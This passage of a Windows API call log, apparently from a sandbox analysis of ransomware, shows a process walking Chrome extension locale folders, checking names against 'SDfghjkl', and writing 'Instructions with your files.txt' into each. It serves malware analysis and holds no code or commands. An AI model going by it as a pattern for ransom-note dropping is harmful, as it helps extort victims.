[0129.653] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.653] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 155
[0129.653] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.653] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.653] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\Instructions with your files.txt") returned 174
[0129.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.653] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.654] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.654] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.654] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.655] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.655] CloseHandle (hObject=0x134) returned 1
[0129.655] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.655] GetProcessHeap () returned 0x810000
[0129.655] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.655] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
[0129.655] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned 145
[0129.655] GetProcessHeap () returned 0x810000
[0129.655] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.655] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*") returned 147
[0129.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.656] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\.") returned 147
[0129.656] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.656] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\..") returned 148
[0129.656] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.656] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 159
[0129.656] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.656] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.656] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\Instructions with your files.txt") returned 178
[0129.656] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.657] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.658] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.658] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.658] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.658] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.658] CloseHandle (hObject=0x134) returned 1
[0129.658] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.658] GetProcessHeap () returned 0x810000
[0129.658] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.658] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0129.658] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned 141
[0129.658] GetProcessHeap () returned 0x810000
[0129.658] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.658] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*") returned 143
[0129.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.659] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\.") returned 143
[0129.659] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.659] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\..") returned 144
[0129.659] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.659] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 155
[0129.659] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.659] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.659] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\Instructions with your files.txt") returned 174
[0129.659] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.659] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.660] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.660] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.660] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.660] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.661] CloseHandle (hObject=0x134) returned 1
[0129.661] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.661] GetProcessHeap () returned 0x810000
[0129.661] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.661] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
[0129.661] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned 141
[0129.661] GetProcessHeap () returned 0x810000
[0129.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.661] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*") returned 143
[0129.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.662] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\.") returned 143
[0129.662] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.662] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\..") returned 144
[0129.662] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.662] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 155
[0129.662] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.662] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.662] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\Instructions with your files.txt") returned 174
[0129.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.663] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.664] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.664] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.664] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.664] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.664] CloseHandle (hObject=0x134) returned 1
[0129.664] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.664] GetProcessHeap () returned 0x810000
[0129.664] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
